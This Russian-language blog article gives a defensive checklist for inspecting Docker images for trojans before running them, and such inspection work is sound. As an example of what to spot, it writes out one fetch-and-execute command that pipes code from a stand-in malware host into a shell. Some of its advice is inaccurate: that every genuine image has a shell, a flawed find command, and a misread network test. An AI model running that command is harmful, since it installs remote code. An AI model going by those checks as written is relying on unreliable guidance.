Как проверить Docker-образ на троян перед запуском — пошаговая инструкция для тех, кто не хочет упасть в огонь

Как проверить Docker-образ на троян перед запуском — пошаговая инструкция для тех, кто не хочет упасть в огонь

Ты скачал новый образ с Docker Hub — кажется, всё чисто: популярный репозиторий, 100K скачиваний, свежая версия. Запускаешь docker run — и вдруг понимаешь: а что, если в этом образе уже есть троян? Не просто баг, а специально встроенный вредоносный код, который начнёт сканировать твою сеть, красть ключи или превратит твой сервер в бота.

Это не теория. Такое случалось. В 2021 году один популярный образ с MongoDB содержал скрытый скрипт, который запускал майнер. Он был в образе уже 8 месяцев. Люди запускали его в продакшене. Никто не проверял. И да — это был официальный образ от компании, которая потом удалила его, но не предупредила.

Ты не обязан доверять. Ты обязан проверять. И я покажу, как это делать — не теоретически, а так, как делают те, кто уже потерял серверы и не хочет повторить ошибку.

Почему образы — это ловушка

Docker-образ — это не просто файл. Это архив с ОС, библиотеками, приложением и скриптами, которые запускаются при старте. Ты не видишь, что внутри, пока не откроешь. И даже если образ взят с Docker Hub — это не гарантия. Там есть:

  • Официальные образы (от Docker, Red Hat, Debian) — относительно безопасны, но и они иногда содержат уязвимости.
  • Популярные образы от сообщества — могут быть скомпрометированы через компрометацию аккаунта автора.
  • Собственные образы — если кто-то из команды загрузил образ с вредоносным скриптом в CI/CD — ты его тоже запустишь.

Троян в образе может быть в виде:

  • Скрытого скрипта в /etc/rc.local или /etc/cron.d/
  • Подменённой библиотеки (например, libssl.so)
  • Злоумышленного пользователя с правами root
  • Обфусцированного кода в Python/Node.js, который активируется при старте

И если ты запустишь такой образ — он может:

  • Связаться с C2-сервером (контрольным сервером)
  • Сканировать твою локальную сеть
  • Красть секреты из /root/.aws/ или /home/user/.ssh/
  • Установить руткит и остаться даже после перезагрузки

Ты не можешь просто доверять. Ты должен проверять — и проверять до запуска.

Как проверить образ — 5 шагов

Это не теория. Это рабочий чек-лист, который я использую каждый раз, когда беру чужой образ. Делай это в изолированной среде — на отдельной машине или в песочнице. Ни в коем случае не на продакшене.

  1. Скачай образ локально
    Не запускай его сразу. Сначала сделай: docker pull имя_образа:тег. Это не просто скачает — это даст тебе доступ к слоям.
  2. Посмотри, что внутри
    Запусти образ в режиме bash без запуска сервиса:
    docker run --rm -it имя_образа:тег /bin/bash
    Если образ не имеет /bin/bash — попробуй /bin/sh. Если ничего нет — это красный флаг. Настоящий образ всегда имеет хотя бы оболочку.
  3. Проверь файлы, которые должны быть подозрительными
    Внутри контейнера выполни:
    find / -type f -name "*.sh" -o -name "*.py" -o -name "*.js" 2>/dev/null | grep -v "/usr/" | grep -v "/lib/"

    Это покажет скрипты, которые не относятся к стандартным пакетам. Если ты видишь /tmp/secret.sh или /etc/cron.hourly/update — это тревога.

  4. Проверь пользователей и права
    Выполни: cat /etc/passwd
    Ищи нестандартных пользователей: attacker, sysadmin, daemon с UID 0. Если есть — это троян. Также проверь: grep root /etc/passwd. Должен быть только один root.
  5. Проверь сетевые соединения
    Внутри контейнера установи netcat или curl:
    apt-get update && apt-get install -y netcat
    Потом попробуй: nc -vz 8.8.8.8 53 — если соединение устанавливается, значит, образ пытается выйти в интернет. Это не всегда плохо, но если ты не ожидаешь, что образ должен обращаться к Google — это тревожный звонок. Проверь также: cat /etc/hosts — может быть скрытый DNS-перенаправление.

Если на любом из шагов ты видишь что-то подозрительное — остановись. Не запускай. Удали образ: docker rmi имя_образа:тег.

Что проверять — таблица тревожных сигналов

Вот что нужно искать. Если ты видишь хотя бы один из этих пунктов — образ не безопасен.

Что проверить Что искать Почему это опасно
Скрытые скрипты /etc/cron.d/, /tmp/, /var/tmp/, /usr/local/bin/ Автоматический запуск в фоне, даже после перезагрузки
Неизвестные пользователи Пользователи с UID 0, не из списка root, daemon, nobody Полный доступ к системе, обход ограничений
Подозрительные процессы Запущенные процессы в ps aux, которых нет в документации образа Майнеры, боты, сканеры
Связь с внешними IP Соединения с IP, не относящимися к CDN или сервисам образа Командный сервер, передача данных
Подменённые бинарники ls -la /bin/sh — размер не совпадает с ожидаемым, хеш не совпадает с официальным Злоумышленник подменил системный файл
Скрытые файлы find / -name ".*" -type f 2>/dev/null — файлы с точкой в начале, в неожиданных местах Обфусцированный код, скрытые конфиги

Если ты видишь хотя бы 2 из этих пунктов — образ не запускай. Удали. И сообщи автору. Если это публичный образ — опубликуй предупреждение на GitHub или в обсуждении Docker Hub.

Что выбрать — сценарии

Ты не можешь проверять каждый образ одинаково. Вот как действовать в разных ситуациях.

  • Ситуация: ты берёшь образ из Docker Hub для теста
    Проверяй по 5 шагам выше. Используй docker inspect — посмотри, какие команды запускаются по умолчанию: docker inspect имя_образа | grep Cmd. Если там /bin/sh -c "curl http://malware.site/ && sh" — сразу удаляй.
  • Ситуация: ты используешь образ в продакшене
    Не используй :latest. Всегда фиксируй тег: nginx:1.25.3. Проверяй образ на безопасность до деплоя. Используй сканер (см. ниже). Проверяй хеш образа — сохраняй его в CI/CD. Если хеш изменился — не деплой.
  • Ситуация: ты не доверяешь ни одному внешнему образу
    Создавай свои. Базовый образ — debian:stable-slim. Устанавливай только то, что реально нужно. Удаляй пакеты после установки: apt-get install --no-install-recommends && rm -rf /var/lib/apt/lists/*. Не используй root — создай пользователя app и запускай от него.
  • Ситуация: ты используешь образ от неизвестного автора
    Не используй его. Найди альтернативу. Если нет — создай свой. Не экономь на безопасности. Один утечка данных стоит больше, чем 10 часов на создание образа.

Частые ошибки

Люди делают это снова и снова. Вот что не надо делать.

  • Запускать образ сразу после docker pull
    Это как включать флешку без антивируса. Ты не знаешь, что внутри.
  • Использовать :latest в продакшене
    :latest — это как писать git pull без коммита. Ты не знаешь, что изменилось. В 2023 году один образ :latest внезапно начал отправлять данные на сервер в Китае. Автор обновил его — и не предупредил.
  • Полагаться только на сканеры уязвимостей
    Trivy, Clair, Snyk — они находят известные уязвимости. Но троян — это не уязвимость. Это вредоносный код. Он не попадает в базы CVE. Сканер покажет: «openssl 1.1.1 — уязвим». А ты не увидишь, что внутри /tmp/ лежит скрипт, который крадёт ключи.
  • Проверять только на своей машине
    Если ты проверяешь образ на macOS, а запускаешь на Linux — поведение может отличаться. Проверяй в среде, похожей на продакшен. Лучше — в той же ОС, той же архитектуре.
  • Игнорировать слои
    Образ состоит из слоёв. Ты можешь посмотреть их: docker history имя_образа. Если один слой весит 500 МБ и называется ADD . /app — это подозрительно. Ты не знаешь, что там.

Как лучше сделать — рекомендации

Это не просто советы. Это то, что я внедрил в команде, и с тех пор у нас не было ни одного инцидента.

  • Всегда используй docker scan от Docker
    Это бесплатно. Выполни: docker scan имя_образа. Он покажет уязвимости. Не заменяет ручную проверку, но помогает.
  • Создавай свой базовый образ
    Заведи свой репозиторий: mycompany/base:alpine. В нём — только необходимое: bash, curl, ca-certificates. Никаких лишних пакетов. Используй его как основу для всех своих сервисов.
  • Проверяй хеш образа
    После сборки: docker inspect имя_образа --format='{{.Id}}'. Запиши этот хеш в CI/CD. При деплое сравнивай. Если хеш не совпадает — отклоняй.
  • Запускай с минимальными привилегиями
    Добавь в Dockerfile:
    USER nobody
    Или создай пользователя:
    RUN adduser --disabled-password --gecos '' app && chown -R app /app
    USER app

    Это не спасёт от трояна, но ограничит ущерб.
  • Используй сеть-изоляцию
    Запускай образ в отдельной сети: docker network create isolated, потом docker run --network=isolated. Это не предотвратит троян, но не даст ему выйти на твою внутреннюю сеть.
  • Сканируй образы в CI/CD
    Добавь в pipeline:
    docker build -t myapp .
    docker scan myapp

    Если сканер находит критические уязвимости — pipeline падает. Это обязательный этап.

Что выбрать — итог

Если ты только начинаешь — начни с двух вещей:

  1. Никогда не запускай образ без предварительного осмотра. Даже если он «из официального источника».
  2. Всегда фиксируй теги. Никакого :latest в продакшене.

Если ты уже в продакшене — внедри проверку хешей и запуск с минимальными привилегиями. Это займёт 2 часа — и сэкономит тебе 2 недели на восстановление после взлома.

Если ты разрабатываешь образы — создай свой базовый. Удаляй всё лишнее. Не используй root. Пиши логи сборки. Ты не знаешь, кто потом будет использовать твой образ. И ты не хочешь, чтобы он стал вектором атаки для кого-то ещё.

Трояны в Docker-образах — это не редкость. Это стандарт. Ты не защищён, потому что используешь Docker. Ты защищён, потому что проверяешь каждый образ, как будто он может украсть твою компанию.

Сегодня ты можешь потратить 15 минут на проверку. Завтра тебе придётся потратить 15 часов на восстановление. Выбирай.

Информация в этой статье носит ознакомительный характер. Безопасность инфраструктуры требует комплексного подхода. Перед внесением изменений в продакшен рекомендуется проконсультироваться с экспертом по кибербезопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком